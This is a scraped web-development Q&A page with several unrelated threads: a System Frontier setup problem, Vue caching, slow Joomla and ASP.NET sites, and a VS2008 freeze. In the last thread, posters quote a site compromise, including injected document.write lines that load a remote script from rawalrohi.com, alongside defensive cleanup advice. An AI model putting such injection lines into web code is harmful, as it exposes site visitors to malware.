I just Start using System Frontier, The installation was a little complicated with a couple of errors but it was completed and the page is loading I completed the Post-installation steps.
Now the Issue:
When I go to tools create tool load the information and script, The Edit Page that should load after that is not loading is just a Blank Page.
What I try:
I check Data base information: I don't have a basic knowledge of MySQL but so far I see no errors.
I tried to restart the IIS Server and services.
I tried to load the Page in Different browsers and Run as incognito still the page will not load.
Conclusion:
If anyone has tried the tools and presented with this error and might have a solution please let me know Thanks in advance.
PS: I'm not a native English speaker so if there was any typos or error sorry about that I hope it was understandable.
After reading a little more I found the issue and there is an option that should have been activated for the issue to be a result or I will say to activate the option.
Answers:
Add an entry for your management server. (Settings > Management Servers)
Sorry, I hope I did not waste anyone's time.
Related
we are developing a VueJS based application. We have huge caching problem.
Team members are constantly updating the site but we are getting feedbacks about the solved problems such as typos and miss placed elements.
I personnaly tried the inspect this situation, I found that Chrome reads the files from disk cache or memory cache until the page is refreshed. Even though sometimes chrome still loads the old page when we are re entering the site again (after the refreshing process (ctrl + shift + r)).
I' m sorry for my bad english but I tried my best to explain what I encounter. Also I found a topic about the problem, OP has explained the what I was encounteing. You can also check that out.
How to clear cache of service worker?
I created a website on IIS (local machine windows 10), published the project and tried to reaching it with local ip adress (127.0.0.1:8093), in the network tab I can see the .js and .css files being downloaded then I restart the browser and tried again, this time files are being served from disk cache, I tried couple of times and sometimes files are served from cache and sometimes downloaded.
I tried to add serviceWorker but I got empty handed. Also I created a base project to test some vuejs features and I added same serviceWorker code to the project. It cached again.
Our servers is windows 2012 server with IIS 8.
If it is possible we want no-caching approach or we want to manage what's cached and not. If you can help we would be appreciated.
You can checkout the base project
vue-base project
What I tried
As I said above I tried to add service workers as github commit,
https://github.com/vuejs-templates/pwa/pull/21/files
Also I tried deleting the cached data caches.delete(cacheName) did not seem to work.
I don't know if the serviceworkers related to this problem but did not solve my problem. May be I could not add the code properly. If you can help I would be very appreciated.
Thank you for your helps.
Edit1: Screen GIF
I dont know what you have been using to bundle your code and assets, but with webpack it is possible to create the files with a hashcode, which means that everytime the browser finds a new file reference in your browser it will download it.
Ex: you deployed yesterday a code which contained main.34534534534.js
Today you deploy again but the file is main.94565342.js. Your browser will automatically invalidate cache.
I would know what are the queries that make slow my Joomla website. I know that there is the possibility to log all the slow query.
Unfortunately, I have only the access to the ftp where the website is hosted. Can I see this log also in ftp? Or I have to access to the server?
There are other way to see this log?
Thanks
As Rinos already said, there can be different reasons for a slow Joomla-Site.
If you cannot find a db-query being responsible for that check the network-tab in your developer-tools for resources that slow down your site.
One possible reason can be, that you are loading http-resources via https (so if you have hardcoded integrations of images, script-files etc. that will load via http while your site running in https, the developer tools will bark at you something about 'mixed content' ;) )
Depending on your Joomla there also might be some Modules/Components/Plugins that are not well designed... maybe deactivating them by chance and refreshing (yep, might be lot of work) will give you a hint. BUT: Please be careful, since there are some Plugins like the authentication-plugins that are needed and if you deactivate them you might "lock" yourself out. Normally core components and plugins shouldn't be responsible for that at all.
If you have a look at the queries from the debug-console, there are some queries that perform a full-table-scan. Maybe you'll find one among these that are performance-hungry.
If not so, please check your global configuration in the Joomla Backend under System -> Global Configuration and try check the following things:
Is caching enabled?
What kind of caching do you use?
Under the Server-Tab check for gzip-compression of your page
if you force https, do you have any http-resources on your site (like mentioned above)
Some of the possibilities here might help you to gain some performance, but if you still have performance problems, my next look would be the server-config.
There are still other things you might give a "heads up":
What PHP-Version are you running? PHP 7.x brings a remarkable performance-boost
Have a look at your php.ini file. What about your memory-limit and other options (have a look here for the technical requirements that are recommended: https://downloads.joomla.org/technical-requirements
Back on your site, are there any javascript-errors (the developer-tools of your browser will tell you)
Well, these are several possibilities you might pay some attention... Performance-Issues can have many reasons but hopefully some of the above said things might lead you on the right track ;)
regards
You can active debug in joomla from Configuration system, then you can see at the end of pages in "live site" all query performed with time and memory used, and much more you can help for understand what is slowing down your site
I have developed my website with asp.net and c# with MySql as back end. But even after optimizing css, Javascript and Images still takes time to load my website www.cloudionpro.com.
Please help do I need to change something in my coding or its a mysql server issue?
I loaded your site in Chrome and is reported the HTML of the page itself loaded in 93ms, of which 51ms was spent waiting for the HTML to be generated. 51ms is acceptable, but probably could be improved: it's likely you're making a lot of MySQL database calls that could be optimized (by paralleising them, or executing a query-batch).
Chrome reports the Google Maps API you're using failed to load, caused by scripting errors, which is also causing problems, open your browser's console for details of those. It looks like your site has a dependency on jQuery but your site never loads it.
This is an odd freeze. When I switch from source view to design view for an HTML or ASPX file, the client area freezes, but I can still click on other tabs and menus.
What am I missing here? Really don't feel like reinstalling VS2008.
I had the same problem, and found one resolution.
In VS 2008, In a page that was using a master page, the either frequency while working in source view or switching to design view, IDE would freeze for 10-20 seconds.
In my master template, I had references to the Google hosted JQuery, Jquery UI, and one or two more scripts off site. These were placed directly in my master page's head section.
I downloaded the js and then by deleting any offsite references, my IDE would be smooth again in both design and source mode.
I also discovered I could put the scripts inside my ToolkitScriptManager (I'm using AjaxControlToolkit) and added the Mode="Release", and could place the http://www.google.com references for the scripts. The IDE is still working fine for me.
This is often due to the Design mode downloading external resources that are timing out. As #JonK mentioned, for him it was jQuery references. I have seen this when the ConnectionString was set to production databases that could not be accessed on my development machine, even though I wasn't debugging (running) the site only editing code, it would still try to connect and because it couldn't it would stall waiting for the timeout.
VS2008 is mostly single-threaded for UI operations like this, so if it is downloading a slow or non-existent network path it hangs like this.
VS2008 can make all kinds of network requests, so these two examples may not solve it for you. The best way I have found to diagnose the problem is to use the Microsoft tool Process Monitor, filter by the Process webdev.exe, and watch for I/O requests that are long running and/or throwing errors. In my case, I could find the place that was having a problem because there would be a 20 second gap in between the hundreds of I/O entries in Process Monitor. Then, just back-tracked from when that gap began and I eventually found the request that was causing the problem.
This may not be possible for you, but if you can, an upgrade to VS2010 would help; it does a much better job of running process on multiple threads in more places so you don't have to worry about this as much.
Have you tried restarting your computer and then reopening your project?
The home-page of our static html website http://www.iffort.com is transferring data from a mysterious website rawalrohi.com. You can check this by going to iffort.com and noticing the footer there. It says transferring data from rawalrohi.com.
From our side we did the following things to rectify the issue
a.) Analyze the source-code of all pages. We checked the code and found out that a script src=http://rawalrohi.com/images/ART.php was inserted in all pages. We removed this script from all the ‘html’ pages of the website
b.)Next we spoke to the hosting company, they said they can provide us a back up of the site. We have the backup but haven’t used it to restore the site.
c.)Lastly, we have changed the FTP password because we were told that somebody could have hacked our FTP password.
Despite doing this the home-page still says transferring data from rawalrohi.com. The view source doesn’t reveal the URL. This is slowing down our website.
Any help is greatly appreciated.
Your page references a file called "js/hyperlinked_Images.js"
Have a look at this file, right near the bottom:
...
document.write('<script src=http://rawalrohi.com/images/ART.php ><\/script>');
document.write('<script src=http://rawalrohi.com/images/ART.php ><\/script>');
document.write('<script src=http://rawalrohi.com/images/ART.php ><\/script>');
Now if you'll excuse me, I'm go to run a quick AV scan on my system ;)
make sure you don't use one FTP account for everything, control the FTP user control, it will help you to manage your website.
I've seen similar behaviour a while back. In that specific case, the ftp-password was compromised: it was read from the clients desktop PC by malware that collected stored ftp passwords.
We found this out only after the password was changed and compromised again within a few days.
So make sure you scan all machines that 'know' the ftp password with a decent AV-scanner.
I just recently saw this on a clients website, a different url but same type of code injection was in all of their files. To fix the problem, I download the site and I used Visual Studio to do a sitewide "find & replace" on the string. This solved the problem for me. I suggest you do something similar for all files, you might have missed one. My clients site had html/htm/aspx files that were all infected, ISP made the same statement that the FTP password was probably compromised...
Make sure you on your antivirus. Whenever the your website loading funny external script like adware, spyware, your antivirus will alert you.
I didn't scan your site, but if you're using any standard software on your website, like: WordPress, Drupal, Joomla, etc. then you need to keep that updated at all times. Subscribe to their security alerts and whenever you see an update, drop everything you're doing and update.
Hackers are constantly scanning the internet for vulnerable websites. It only takes them a fraction of a second on a vulnerable site to infect it.
Also, keep all the plugins, add-ons, components, modules, contributions, etc. updated as well.
Otherwise, you'll be cleaning this over and over again.